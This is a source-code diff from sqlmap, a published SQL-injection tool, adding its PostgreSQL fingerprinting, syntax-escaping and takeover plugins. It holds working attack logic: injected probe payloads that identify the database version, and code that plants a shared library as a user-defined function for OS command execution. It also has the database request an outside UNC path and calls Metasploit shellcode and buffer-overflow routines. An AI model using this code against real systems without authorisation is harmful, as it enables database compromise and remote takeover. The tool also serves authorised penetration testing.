from lib.core.common import getHtmlErrorFp
from lib.core.common import randomInt
from lib.core.data import conf
from lib.core.data import kb
from lib.core.data import logger
from lib.core.session import setDbms
from lib.core.settings import PGSQL_ALIASES
from lib.core.settings import PGSQL_SYSTEM_DBS
from lib.request import inject
from lib.request.connect import Connect as Request
from plugins.generic.fingerprint import Fingerprint as GenericFingerprint
class Fingerprint(GenericFingerprint):
def __init__(self):
GenericFingerprint.__init__(self)
def getFingerprint(self):
value = ""
wsOsFp = formatFingerprint("web server", kb.headersFp)
if wsOsFp:
value += "%s\n" % wsOsFp
if kb.data.banner:
dbmsOsFp = formatFingerprint("back-end DBMS", kb.bannerFp)
if dbmsOsFp:
value += "%s\n" % dbmsOsFp
value += "back-end DBMS: "
if not conf.extensiveFp:
value += "PostgreSQL"
return value
actVer = formatDBMSfp()
blank = " " * 15
value += "active fingerprint: %s" % actVer
if kb.bannerFp:
banVer = kb.bannerFp["dbmsVersion"] if 'dbmsVersion' in kb.bannerFp else None
banVer = formatDBMSfp([banVer])
value += "\n%sbanner parsing fingerprint: %s" % (blank, banVer)
htmlErrorFp = getHtmlErrorFp()
if htmlErrorFp:
value += "\n%shtml error message fingerprint: %s" % (blank, htmlErrorFp)
return value
def checkDbms(self):
"""
References for fingerprint:
* http://www.postgresql.org/docs/8.4/interactive/release.html (up to 8.4.2)
"""
if conf.dbms in PGSQL_ALIASES:
setDbms("PostgreSQL")
self.getBanner()
if not conf.extensiveFp:
return True
infoMsg = "testing PostgreSQL"
logger.info(infoMsg)
randInt = str(randomInt(1))
payload = agent.fullPayload(" AND %s::int=%s" % (randInt, randInt))
result = Request.queryPage(payload)
if result:
infoMsg = "confirming PostgreSQL"
logger.info(infoMsg)
payload = agent.fullPayload(" AND COALESCE(%s, NULL)=%s" % (randInt, randInt))
result = Request.queryPage(payload)
if not result:
warnMsg = "the back-end DMBS is not PostgreSQL"
logger.warn(warnMsg)
return False
setDbms("PostgreSQL")
self.getBanner()
if not conf.extensiveFp:
return True
if inject.getValue("DIV(6, 3)", unpack=False, charsetType=2) == "2":
kb.dbmsVersion = [">= 8.4.0"]
elif inject.getValue("SUBSTR(TRANSACTION_TIMESTAMP()::text, 1, 1)", unpack=False, charsetType=2) in ( "1", "2" ) and not inject.getValue("SUBSTR(TRANSACTION_TIMESTAMP(), 1, 1)", unpack=False, charsetType=2) in ( "1", "2" ):
kb.dbmsVersion = [">= 8.3.0", "< 8.4"]
elif inject.getValue("SUBSTR(TRANSACTION_TIMESTAMP(), 1, 1)", unpack=False, charsetType=2):
kb.dbmsVersion = [">= 8.2.0", "< 8.3.0"]
elif inject.getValue("GREATEST(5, 9, 1)", unpack=False, charsetType=2) == "9":
kb.dbmsVersion = [">= 8.1.0", "< 8.2.0"]
elif inject.getValue("WIDTH_BUCKET(5.35, 0.024, 10.06, 5)", unpack=False, charsetType=2) == "3":
kb.dbmsVersion = [">= 8.0.0", "< 8.1.0"]
elif inject.getValue("SUBSTR(MD5('sqlmap'), 1, 1)", unpack=False):
kb.dbmsVersion = [">= 7.4.0", "< 8.0.0"]
elif inject.getValue("SUBSTR(CURRENT_SCHEMA(), 1, 1)", unpack=False) == "p":
kb.dbmsVersion = [">= 7.3.0", "< 7.4.0"]
elif inject.getValue("BIT_LENGTH(1)") == "8":
kb.dbmsVersion = [">= 7.2.0", "< 7.3.0"]
elif inject.getValue("SUBSTR(QUOTE_LITERAL('a'), 2, 1)", unpack=False) == "a":
kb.dbmsVersion = [">= 7.1.0", "< 7.2.0"]
elif inject.getValue("POW(2, 3)", unpack=False, charsetType=2) == "8":
kb.dbmsVersion = [">= 7.0.0", "< 7.1.0"]
elif inject.getValue("MAX('a')") == "a":
kb.dbmsVersion = [">= 6.5.0", "< 6.5.3"]
elif re.search("([\d\.]+)", inject.getValue("SUBSTR(VERSION(), 12, 5)", unpack=False)):
kb.dbmsVersion = [">= 6.4.0", "< 6.5.0"]
elif inject.getValue("SUBSTR(CURRENT_DATE, 1, 1)", unpack=False, charsetType=2) == "2":
kb.dbmsVersion = [">= 6.3.0", "< 6.4.0"]
elif inject.getValue("SUBSTRING('sqlmap', 1, 1)", unpack=False) == "s":
kb.dbmsVersion = [">= 6.2.0", "< 6.3.0"]
else:
kb.dbmsVersion = ["< 6.2.0"]
return True
else:
warnMsg = "the back-end DMBS is not PostgreSQL"
logger.warn(warnMsg)
return False
def checkDbmsOs(self, detailed=False):
if kb.os:
return
infoMsg = "fingerprinting the back-end DBMS operating system"
logger.info(infoMsg)
self.createSupportTbl(self.fileTblName, self.tblField, "character(1000)")
inject.goStacked("INSERT INTO %s(%s) VALUES (%s)" % (self.fileTblName, self.tblField, "VERSION()"))
# Windows executables should always have ' Visual C++' or ' mingw'
# patterns within the banner
osWindows = ( " Visual C++", "mingw" )
for osPattern in osWindows:
query = "(SELECT LENGTH(%s) FROM %s WHERE %s " % (self.tblField, self.fileTblName, self.tblField)
query += "LIKE '%" + osPattern + "%')>0"
query = agent.forgeCaseStatement(query)
if inject.getValue(query, charsetType=1) == "1":
kb.os = "Windows"
break
if kb.os is None:
kb.os = "Linux"
infoMsg = "the back-end DBMS operating system is %s" % kb.os
logger.info(infoMsg)
self.cleanup(onlyFileTbl=True)
def forceDbmsEnum(self):
if conf.db not in PGSQL_SYSTEM_DBS and conf.db != "public":
conf.db = "public"
warnMsg = "on PostgreSQL it is only possible to enumerate "
warnMsg += "on the current schema and on system databases, "
warnMsg += "sqlmap is going to use 'public' schema as "
warnMsg += "database name"
logger.warn(warnMsg)

85
plugins/dbms/postgresql/syntax.py Normal file
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@ -0,0 +1,85 @@
#!/usr/bin/env python
"""
$Id$
This file is part of the sqlmap project, http://sqlmap.sourceforge.net.
Copyright (c) 2007-2010 Bernardo Damele A. G. <bernardo.damele@gmail.com>
Copyright (c) 2006 Daniele Bellucci <daniele.bellucci@gmail.com>
sqlmap is free software; you can redistribute it and/or modify it under
the terms of the GNU General Public License as published by the Free
Software Foundation version 2 of the License.
sqlmap is distributed in the hope that it will be useful, but WITHOUT ANY
WARRANTY; without even the implied warranty of MERCHANTABILITY or FITNESS
FOR A PARTICULAR PURPOSE. See the GNU General Public License for more
details.
You should have received a copy of the GNU General Public License along
with sqlmap; if not, write to the Free Software Foundation, Inc., 51
Franklin St, Fifth Floor, Boston, MA 02110-1301 USA
"""
from lib.core.exception import sqlmapSyntaxException
from plugins.generic.syntax import Syntax as GenericSyntax
class Syntax(GenericSyntax):
def __init__(self):
GenericSyntax.__init__(self)
@staticmethod
def unescape(expression, quote=True):
if quote:
while True:
index = expression.find("'")
if index == -1:
break
firstIndex = index + 1
index = expression[firstIndex:].find("'")
if index == -1:
raise sqlmapSyntaxException, "Unenclosed ' in '%s'" % expression
lastIndex = firstIndex + index
old = "'%s'" % expression[firstIndex:lastIndex]
#unescaped = "("
unescaped = ""
for i in range(firstIndex, lastIndex):
unescaped += "CHR(%d)" % (ord(expression[i]))
if i < lastIndex - 1:
unescaped += "||"
#unescaped += ")"
expression = expression.replace(old, unescaped)
else:
expression = "||".join("CHR(%d)" % ord(c) for c in expression)
return expression
@staticmethod
def escape(expression):
while True:
index = expression.find("CHR(")
if index == -1:
break
firstIndex = index
index = expression[firstIndex:].find("))")
if index == -1:
raise sqlmapSyntaxException, "Unenclosed ) in '%s'" % expression
lastIndex = firstIndex + index + 1
old = expression[firstIndex:lastIndex]
oldUpper = old.upper()
oldUpper = oldUpper.replace("CHR(", "").replace(")", "")
oldUpper = oldUpper.split("||")
escaped = "'%s'" % "".join([chr(int(char)) for char in oldUpper])
expression = expression.replace(old, escaped)
return expression

97
plugins/dbms/postgresql/takeover.py Normal file
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@ -0,0 +1,97 @@
#!/usr/bin/env python
"""
$Id$
This file is part of the sqlmap project, http://sqlmap.sourceforge.net.
Copyright (c) 2007-2010 Bernardo Damele A. G. <bernardo.damele@gmail.com>
Copyright (c) 2006 Daniele Bellucci <daniele.bellucci@gmail.com>
sqlmap is free software; you can redistribute it and/or modify it under
the terms of the GNU General Public License as published by the Free
Software Foundation version 2 of the License.
sqlmap is distributed in the hope that it will be useful, but WITHOUT ANY
WARRANTY; without even the implied warranty of MERCHANTABILITY or FITNESS
FOR A PARTICULAR PURPOSE. See the GNU General Public License for more
details.
You should have received a copy of the GNU General Public License along
with sqlmap; if not, write to the Free Software Foundation, Inc., 51
Franklin St, Fifth Floor, Boston, MA 02110-1301 USA
"""
from lib.core.common import randomStr
from lib.core.data import kb
from lib.core.data import logger
from lib.core.data import paths
from lib.core.exception import sqlmapUnsupportedFeatureException
from lib.request import inject
from plugins.generic.takeover import Takeover as GenericTakeover
class Takeover(GenericTakeover):
def __init__(self):
GenericTakeover.__init__(self)
def udfSetRemotePath(self):
# On Windows
if kb.os == "Windows":
# The DLL can be in any folder where postgres user has
# read/write/execute access is valid
# NOTE: by not specifing any path, it will save into the
# data directory, on PostgreSQL 8.3 it is
# C:\Program Files\PostgreSQL\8.3\data.
self.udfRemoteFile = "%s.%s" % (self.udfSharedLibName, self.udfSharedLibExt)
# On Linux
else:
# The SO can be in any folder where postgres user has
# read/write/execute access is valid
self.udfRemoteFile = "/tmp/%s.%s" % (self.udfSharedLibName, self.udfSharedLibExt)
def udfSetLocalPaths(self):
self.udfLocalFile = paths.SQLMAP_UDF_PATH
self.udfSharedLibName = "libs%s" % randomStr(lowercase=True)
self.getVersionFromBanner()
banVer = kb.bannerFp["dbmsVersion"]
if banVer >= "8.4":
majorVer = "8.4"
elif banVer >= "8.3":
majorVer = "8.3"
elif banVer >= "8.2":
majorVer = "8.2"
else:
errMsg = "unsupported feature on versions of PostgreSQL before 8.2"
raise sqlmapUnsupportedFeatureException, errMsg
if kb.os == "Windows":
self.udfLocalFile += "/postgresql/windows/32/%s/lib_postgresqludf_sys.dll" % majorVer
self.udfSharedLibExt = "dll"
else:
self.udfLocalFile += "/postgresql/linux/32/%s/lib_postgresqludf_sys.so" % majorVer
self.udfSharedLibExt = "so"
def udfCreateFromSharedLib(self, udf, inpRet):
if udf in self.udfToCreate:
logger.info("creating UDF '%s' from the binary UDF file" % udf)
inp = ", ".join(i for i in inpRet["input"])
ret = inpRet["return"]
# Reference: http://www.postgresql.org/docs/8.3/interactive/sql-createfunction.html
inject.goStacked("DROP FUNCTION %s" % udf)
inject.goStacked("CREATE OR REPLACE FUNCTION %s(%s) RETURNS %s AS '%s', '%s' LANGUAGE C RETURNS NULL ON NULL INPUT IMMUTABLE" % (udf, inp, ret, self.udfRemoteFile, udf))
self.createdUdf.add(udf)
else:
logger.debug("keeping existing UDF '%s' as requested" % udf)
def uncPathRequest(self):
self.createSupportTbl(self.fileTblName, self.tblField, "text")
inject.goStacked("COPY %s(%s) FROM '%s'" % (self.fileTblName, self.tblField, self.uncPath), silent=True)
self.cleanup(onlyFileTbl=True)

0
plugins/dbms/sqlite.py → plugins/dbms/sqlite/__init__.py
View File

25
plugins/generic/enumeration.py
View File

@ -50,7 +50,6 @@ from lib.techniques.outband.stacked import stackedTest
class Enumeration:
"""
This class defines generic enumeration functionalities for plugins.
"""
def __init__(self, dbms):
@ -68,30 +67,6 @@ class Enumeration:
temp.inference = queries[dbms].inference
def getVersionFromBanner(self):
if "dbmsVersion" in kb.bannerFp:
return
infoMsg = "detecting back-end DBMS version from its banner"
logger.info(infoMsg)
if kb.dbms == "MySQL":
first, last = 1, 6
elif kb.dbms == "PostgreSQL":
first, last = 12, 6
elif kb.dbms == "Microsoft SQL Server":
first, last = 29, 9
else:
raise sqlmapUnsupportedFeatureException, "unsupported DBMS"
query = queries[kb.dbms].substring % (queries[kb.dbms].banner, first, last)
kb.bannerFp["dbmsVersion"] = inject.getValue(query, unpack=False)
kb.bannerFp["dbmsVersion"] = kb.bannerFp["dbmsVersion"].replace(",", "").replace("-", "").replace(" ", "")
def getBanner(self):
if not conf.getBanner:
return

21
plugins/generic/filesystem.py
View File

@ -31,6 +31,7 @@ from lib.core.common import randomStr
from lib.core.common import readInput
from lib.core.data import kb
from lib.core.data import logger
from lib.core.exception import sqlmapUndefinedMethod
from lib.request import inject
from lib.techniques.outband.stacked import stackedTest
@ -250,6 +251,26 @@ class Filesystem:
if not output or output in ("y", "Y"):
self.__checkWrittenFile(wFile, dFile, fileType)
def unionReadFile(self, rFile):
errMsg = "'unionReadFile' method must be defined "
errMsg += "into the specific DBMS plugin"
raise sqlmapUndefinedMethod, errMsg
def stackedReadFile(self, rFile):
errMsg = "'stackedReadFile' method must be defined "
errMsg += "into the specific DBMS plugin"
raise sqlmapUndefinedMethod, errMsg
def unionWriteFile(self, wFile, dFile, fileType, confirm=True):
errMsg = "'unionWriteFile' method must be defined "
errMsg += "into the specific DBMS plugin"
raise sqlmapUndefinedMethod, errMsg
def stackedWriteFile(self, wFile, dFile, fileType, confirm=True):
errMsg = "'stackedWriteFile' method must be defined "
errMsg += "into the specific DBMS plugin"
raise sqlmapUndefinedMethod, errMsg
def readFile(self, rFile):
fileContent = None

18
plugins/generic/fingerprint.py
View File

@ -29,17 +29,8 @@ class Fingerprint:
This class defines generic fingerprint functionalities for plugins.
"""
@staticmethod
def unescape(expression, quote=True):
errMsg = "'unescape' method must be defined "
errMsg += "into the specific DBMS plugin"
raise sqlmapUndefinedMethod, errMsg
@staticmethod
def escape(expression):
errMsg = "'escape' method must be defined "
errMsg += "into the specific DBMS plugin"
raise sqlmapUndefinedMethod, errMsg
def __init__(self):
pass
def getFingerprint(self):
errMsg = "'getFingerprint' method must be defined "
@ -51,5 +42,10 @@ class Fingerprint:
errMsg += "into the specific DBMS plugin"
raise sqlmapUndefinedMethod, errMsg
def checkDbmsOs(self, detailed=False):
errMsg = "'checkDbmsOs' method must be defined "
errMsg += "into the specific DBMS plugin"
raise sqlmapUndefinedMethod, errMsg
def forceDbmsEnum(self):
pass

30
plugins/generic/misc.py
View File

@ -22,7 +22,6 @@ with sqlmap; if not, write to the Free Software Foundation, Inc., 51
Franklin St, Fifth Floor, Boston, MA 02110-1301 USA
"""
import os
import re
from lib.core.common import normalizePath
@ -32,6 +31,8 @@ from lib.core.common import readInput
from lib.core.data import conf
from lib.core.data import kb
from lib.core.data import logger
from lib.core.data import queries
from lib.core.exception import sqlmapUnsupportedFeatureException
from lib.core.session import setRemoteTempPath
from lib.request import inject
from lib.techniques.outband.stacked import stackedTest
@ -42,6 +43,9 @@ class Miscellaneous:
This class defines miscellaneous functionalities for plugins.
"""
def __init__(self):
pass
def getRemoteTempPath(self):
if not conf.tmpPath:
if kb.os == "Windows":
@ -73,6 +77,30 @@ class Miscellaneous:
setRemoteTempPath()
def getVersionFromBanner(self):
if "dbmsVersion" in kb.bannerFp:
return
infoMsg = "detecting back-end DBMS version from its banner"
logger.info(infoMsg)
if kb.dbms == "MySQL":
first, last = 1, 6
elif kb.dbms == "PostgreSQL":
first, last = 12, 6
elif kb.dbms == "Microsoft SQL Server":
first, last = 29, 9
else:
raise sqlmapUnsupportedFeatureException, "unsupported DBMS"
query = queries[kb.dbms].substring % (queries[kb.dbms].banner, first, last)
kb.bannerFp["dbmsVersion"] = inject.getValue(query, unpack=False)
kb.bannerFp["dbmsVersion"] = kb.bannerFp["dbmsVersion"].replace(",", "").replace("-", "").replace(" ", "")
def delRemoteFile(self, tempFile, doubleslash=False):
self.checkDbmsOs()

45
plugins/generic/syntax.py Normal file
View File

@ -0,0 +1,45 @@
#!/usr/bin/env python
"""
$Id$
This file is part of the sqlmap project, http://sqlmap.sourceforge.net.
Copyright (c) 2007-2010 Bernardo Damele A. G. <bernardo.damele@gmail.com>
Copyright (c) 2006 Daniele Bellucci <daniele.bellucci@gmail.com>
sqlmap is free software; you can redistribute it and/or modify it under
the terms of the GNU General Public License as published by the Free
Software Foundation version 2 of the License.
sqlmap is distributed in the hope that it will be useful, but WITHOUT ANY
WARRANTY; without even the implied warranty of MERCHANTABILITY or FITNESS
FOR A PARTICULAR PURPOSE. See the GNU General Public License for more
details.
You should have received a copy of the GNU General Public License along
with sqlmap; if not, write to the Free Software Foundation, Inc., 51
Franklin St, Fifth Floor, Boston, MA 021101301 USA
"""
from lib.core.exception import sqlmapUndefinedMethod
class Syntax:
"""
This class defines generic syntax functionalities for plugins.
"""
def __init__(self):
pass
@staticmethod
def unescape(expression, quote=True):
errMsg = "'unescape' method must be defined "
errMsg += "into the specific DBMS plugin"
raise sqlmapUndefinedMethod, errMsg
@staticmethod
def escape(expression):
errMsg = "'escape' method must be defined "
errMsg += "into the specific DBMS plugin"
raise sqlmapUndefinedMethod, errMsg

24
plugins/generic/takeover.py
View File

@ -22,31 +22,22 @@ with sqlmap; if not, write to the Free Software Foundation, Inc., 51
Franklin St, Fifth Floor, Boston, MA 02110-1301 USA
"""
import os
import re
from lib.core.agent import agent
from lib.core.common import decloakToNamedTemporaryFile
from lib.core.common import fileToStr
from lib.core.common import getDirs
from lib.core.common import getDocRoot
from lib.core.common import randomStr
from lib.core.common import readInput
from lib.core.convert import hexencode
from lib.core.data import conf
from lib.core.data import kb
from lib.core.data import logger
from lib.core.data import paths
from lib.core.exception import sqlmapMissingMandatoryOptionException
from lib.core.exception import sqlmapNotVulnerableException
from lib.core.exception import sqlmapUndefinedMethod
from lib.core.exception import sqlmapUnsupportedDBMSException
from lib.core.shell import autoCompletion
from lib.request.connect import Connect as Request
from lib.takeover.abstraction import Abstraction
from lib.takeover.metasploit import Metasploit
from lib.takeover.registry import Registry
from lib.techniques.outband.stacked import stackedTest
class Takeover(Abstraction, Metasploit, Registry):
from plugins.generic.misc import Miscellaneous
class Takeover(Abstraction, Metasploit, Registry, Miscellaneous):
"""
This class defines generic OS takeover functionalities for plugins.
"""
@ -268,6 +259,11 @@ class Takeover(Abstraction, Metasploit, Registry):
self.createMsfShellcode(exitfunc="seh", format="raw", extra="-b 27", encode=True)
self.bof()
def uncPathRequest(self):
errMsg = "'uncPathRequest' method must be defined "
errMsg += "into the specific DBMS plugin"
raise sqlmapUndefinedMethod, errMsg
def __regInit(self):
stackedTest()